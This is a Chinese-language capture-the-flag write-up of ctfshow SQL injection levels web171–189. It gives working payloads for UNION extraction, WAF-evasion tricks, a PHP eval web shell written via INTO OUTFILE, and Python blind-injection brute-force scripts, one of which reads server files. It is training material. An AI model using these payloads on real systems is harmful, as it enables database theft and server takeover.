web171 闭合语句
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
可以控制GET传参,因为username不能等于flag,但是题目大概率是存在一个以flag命名的数据,所以这里得要闭合前面的语句
0'or 1=1--+
成功脱出所有的数据
这里演示一下,存在注入一般的操作方法
-1' union select 1,2,database() --+ //得到数据库名为ctfshow_web
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' --+ //得到数据表名为ctfshow_user
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+ //得到列名为id,username,password
-1' union select 1,2,group_concat(username,':',password) from ctfshow_user --+
web172 编码绕过
相对于上一题,这里新加了一个返回结果过滤
联合查询注入 只返回password
1、联合查询当前数据库下的所有表
1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()%23
2、
将用户名和密码字段都进行编码,就可以绕过检测
-1' union select to_base64(username),hex(password) from ctfshow_user2 --+
或者,只查询password字段也可以,下面的方法都可以
1' union select password,2,3 from ctfshow_user2%23
-1' union select id,password from ctfshow_user2 where username='flag
没有出现username字段,也可达到绕过的效果
web173
回结果中不能有flag关键字
和上一题基本一样,只不过多了一列,补上id即可,在查询表的时候,要保证查询的列数字段一致
-1' union select id,id,password from ctfshow_user3 where username='flag
第二种方法
查看所有数据库–》查看当前数据库—》查看表—》查看列—》查看字段
#查看当前数据库
id=-1' union select 1,2,(select database()) --+
#查看所有数据库
id=-1' union select 1,2,group_concat(schema_name)from information_schema.schemata --+
#查看 ctfshow_web数据库下的所有表名字
id =-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
id =-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23
#查看 ctfshow_user3 表下字段
id =-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user3'--+
#获取 ctfshow_web库ctfshow_user3表下所有字段
id =-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user3'--+
# cat flag
id = -1' union select 1,2,(select password from ctfshow_user3 where username='flag') %23
web174 特殊字符替换数字
返回结果过滤了数字,flag中可以就会有数字
我们需要做的就是使得返回结果里不能有数字
主要就是理解这个递归替换的payload
-1' union select 'a', replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(b.password,"0",")"),"9","("),"8","*"),"7","&"),"6","^"),"5","%"),"4","$"),"3","#"),"2","@"),"1","!")from ctfshow_user4 as b where b.username = 'flag
web175 mysql写入文件
//检查结果是否有flag
if(!preg_match(‘/[\x00-\x7f]/i’, json_encode($ret))){
$ret[‘msg’]=‘查询成功’;
}
过滤了0-127
理解一下json_encode
$book = array('a'=>'xiyouji','b'=>'sanguo','c'=>'shuihu','d'=>'hongloumeng');
$json = json_encode($book);
echo $json;
运行结果
{"a":"xiyouji","b":"sanguo","c":"shuihu","d":"hongloumeng"}
json_decode() 对JSON数据进行解码,转换为PHP变量
尝试从其他信道将数据带出,尝试写入文件,把我们想要的结果写入文件中,这样我们就可以直接访问,不用通过sql语句进行查询
payload
?id=1' union select 1,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/1.txt'--+
在数据库中into outfile语句表示把数据导出到一个文件中
可以写文件,都可以直接写shell
?id=1' union select 1,'<?php eval($_POST[1]);?>' into outfile '/var/www/html/1.php'--+
然后,在配置文件中找到数据库密码,进行连接
./api/config.php
利用蚁剑,连接数据库
web176 大小写绕过关键字
对select进行过滤,但是没有对大小写都进行过滤,使用大小写进行绕过
?id=-1'union Select 1,2,password from ctfshow_user where username='flag';#
web177 绕过空格的替代方法
这一题,对空格有过滤,而且也过滤了绕过空格方法的–+
那还有其他的方法继续绕过
有相同作用的注释符:
可用
/**/
第一种方法:
制表符(url编码为%09)
换行符(%0a)
%0a
%0b
%0c
%0d
%09
%a0(在特定字符集才能利用)
以上均为URL编码
第二种方法:
括号()
第三种方法:
反引号 ` 代替空格
第四种方法:
/**/
id=-1'union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username='flag';%23
或者
# ()中的空格也可用 ` 替代 某些情况下
-1'union/**/select/**/1,2,(select`password`from`ctfshow_user`where`username`='flag')%23
web178 %0a代替空格
过滤空格替换的/**/
这里用换行符%0a进行绕过空格
payload
-1'union%0aselect%0a1,2,(select`password`from`ctfshow_user`where`username`='flag')%23
web179 %0c代替空格
空格类型被转换,%0a也被过滤了
这里用%0c进行替换
# 只有一处空格替换,更加方便
-1'union%0cselect'1',2,(select`password`from`ctfshow_user`where`username`='flag');%23
web180 过滤了注释#,其他方法?
对#(url编码为%23)进行了过滤
如果还想达到这种效果,无非就是两种可能:
第一种,绕过注释
# 避开结尾注释
-1'union%0cselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'2
第二种,换个注释方法
#有结尾注释 **%0c--%0c**
-1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername%0c=%0c'flag')%0c--%0c
web181 逻辑运算绕过
题目
//对传入的参数进行了过滤
function waf($str){
return preg_match(‘/ |*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0\x23|#|file|into|select/i’, $str);
}
这里影响比较大的是,过滤了空格和select
这里利用逻辑运算的优先级绕过前面的usename!=flag的逻辑
payload:
where username !='flag' and id = ''or(id=26)and'1'='1' limit 1
where (username !='flag' and id = '')or(id=26 and'1'='1') limit 1
解释:
因为or的存在,相当于要select两次,但又因为or左边是为0的,右边为id=26,所以只select右边
完整的sql语句变为:select id,username,password from ctfshow_user where id=26 limit 1
web182 通配符
题目
//对传入的参数进行了过滤
function waf($str){
return preg_match(‘/ |*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|#|file|into|select|flag/i’, $str);
}
两种方法:
#继续使用上一个payload
'or(id=26)and'1'='1
#or逻辑绕过和通配符的使用
-1'%0cor%0cusername%0clike'%fla%
web183 like和regexp
题目
//拼接sql语句查找指定ID用户
$sql = “select count(pass) from “.$_POST[‘tableName’].”;”;
//对传入的参数进行了过滤
function waf($str){
return preg_match(‘/ |*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|#|\x23|file|=|or|\x7c|select|and|flag|into/i’, $str);
}
regexp匹配
import time
import requests
url="http://8d391ede-a75b-4bd1-a54b-eda509b10dd3.challenge.ctf.show/select-waf.php"
flagstr="}abcdefghijklmnopqr-stuvwxyz0123456789{"#根据ctfshow的flag格式而判定的
flag=""
for i in flagstr:
time.sleep(1)
for x in flagstr:
data={
"tableName":"`ctfshow_user`where`pass`regexp(\"ctfshow{}\")".format(flag+x)#其实regexp像是like的使用方法,注意这里过滤了空格,用反引号来替代
}
print(data)
response=requests.post(url,data=data)
if response.text.find("$user_count = 1;")>0:#查看查出的数据是否为1列
print('--++++++{}is yes'.format(x))
flag=flag+x
print(flag)
break
else:
print('--++++++{}is no'.format(x))
continue
print(flag)
like匹配
import requests
import sys
url = 'http://51880bae-1a81-4165-a92c-231924e3182a.challenge.ctf.show/select-waf.php'
letter = '0123456789abcdefghijklmnopqrstuvwxyz-{}'
flag = 'ctfshow{'
for i in range(0,150):
for j in letter:
payload = {"tableName":"(ctfshow_user)where(pass)like'ctfshow{}%'".format(flag+j)}#%这里的意思是对后面的f*,f开头的都匹配
r = requests.post(url=url,data=payload).text
if "$user_count = 1;" in r:
flag+=j
print(flag)
break
if j=="}":
sys.exit()
web184
这里相比起上一题过滤的更多,还过滤的where
用having代替where
import time
import requests
url="http://320f82f5-dbd1-42ad-9690-136780779516.challenge.ctf.show/select-waf.php"
flagstr="}abcdefghijklmnopqr-stuvwxyz0123456789{"#根据ctfshow的flag格式而判定的
flag="ctfshow{"#学会规定前缀,要不然有些数据只能刨除一部分
def asc2hex(s):
a1 = ''
a2 = ''
for i in s:
a1+=hex(ord(i))
a2 = a1.replace("0x","")
return a2
for i in range(100):
time.sleep(1)
for x in flagstr:
data={
"tableName":"ctfshow_user group by pass having pass like {}".format("0x"+asc2hex(flag+x+"%"))#其实regexp像是like的使用方法,注意这里过滤了空格,用反引号来替代
}
print(data)
response=requests.post(url,data=data)
if response.text.find("$user_count = 1;")>0:#查看查出的数据是否为1列
print('--++++++{}is yes'.format(x))
flag=flag+x
print(flag)
break
else:
print('--++++++{}is no'.format(x))
continue
print(flag)
方法二
通过 SQL join 规避 where
web185 chr()函数将数字转义为字符
//对传入的参数进行了过滤
function waf($str){
return preg_match(‘/*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|#|\x23|[0-9]|file|=|or|\x7c|select|and|flag|into|where|\x26|’|"|union|`|sleep|benchmark/i’, $str);
}
过滤了数字,自己构造
并且过滤了 "
'
不能使用 concat(‘str’,‘str’) 进行拼接,字符与数字都需要自己构造 通过chr() 函数将数字转义为字符
import requests
#将字母转为数字
def reNum(n):
a = "true"
for i in range(n-1):
a += "+true"
return a[0:]
#返回字符串
def reNum_to_Str(m):
str = ""
for i in m:
str += ",chr("+reNum(ord(i))+")"
return str[1:] # 去掉开头的 ,这里加逗号的原因是要配合concat
url = "http://0690b5d3-e8cf-49c3-b254-288cac328bf2.challenge.ctf.show/select-waf.php"
flagstr = "{abcdefghijklmnopqrstuvwxyz-0123456789}"
flag = "ctfshow{"
for i in range(0, 50):
for x in flagstr:
data = {
"tableName":"ctfshow_user group by pass having pass like(concat({}))".format(reNum_to_Str(flag + x + "%"))
}
response = requests.post(url,data).text
if "$user_count = 0;" not in response:
flag += x
print(flag)
break
if x == "}":
break;
print("finish")
web186
上一题可以依旧使用
web187 mysql的特性
题目
返回逻辑
$username = $_POST['username'];
$password = md5($_POST['password'],true);
//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}
查询语句
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
这里的传入的password被md5加密了
mysql中,or 语句后面只要是一个1开头的,那就整个结果就是true
mysql的md5万能密码
ffifdyop
不知道这里为什么用bp才看得到结果,网页查看源代码什么都看不到
web188 mysql弱类型比较
如 ‘4ad’=4
字符串与数字进行比较的时候,mysql会自动将字符串转为数字
而当数字为0,且字符串开头不为其他数字时,弱类型恒成立
查询语句
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";
返回逻辑
//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}
这里的密码校验是弱比较,所以存在漏洞
0和字符串弱比较时就是相等的。
判断是数字还是字符串类型的注入
order by
分析:
字符型执行的sql语句为select * from user where id=‘1 order by 9999 --+’,注释符【- -】实际上在执行的时候,被当成id的一部分,也就是说,在执行sql语句的时候,条件是id=‘1 order by 9999 --+’。最终只会截取前面的数字,返回id=1的结果。
如果是数字型的话,执行的sql语句为select * from user where id=1 order by 9999 --+,在现实生活中,根本就没什么可能会存在有9999个字段的表,所以会报错。
或者使用逻辑判断,就是根据经验来猜测到底是数字还是字符类型的注入
比如一般来说id一般都是数字类型的,name一般都是字符串类型的
web189 布尔盲注
load_file函数的作用
1.文件读取函数load_file()
LOAD_FILE()函数读取一个文件并将其内容作为字符串返回
sql中要是想截取某个字段值作为匹配条件怎么办呢,这里可以使用substr()函数了。下面请看例子吧。
substr(string ,pos,len)
string:指定字符串
pos:规定字符串从何处开始,(这里的第一个位置是1而不是0)为正数时则从字段开始出开始,为负数则从结尾出开始。
len:要截取字符串的长度。(是从1开始计数而不是0)
当我们输入错误的时候,无回显
当查出有数据的时候,存在回显
标志性\u8d25
import requests
import time
flag=""
url="http://cb69b190-78d8-40f4-ba47-c09fcae25834.challenge.ctf.show/api/index.php"
flagstr="}{<>$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789"
for i in range(257,257+60):#这里为什么是从257开始应该是wp做了最优的优化,设置出来的
time.sleep(0.3)
for x in flagstr:
data={
'username':"if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),1,0)".format(i,x),#注意这里是mysql的语句,不是python的
'password':"0",#继续使用弱比较,0与字符串的比较
}
print(data)
time.sleep(0.3)
respond=requests.post(url=url,data=data)
if respond.text.find("8d25")>0:
print('{}is ----+++++---right'.format(x))
flag+=x
else:
print('{}is ----+++++---wrong'.format(x))
print(flag)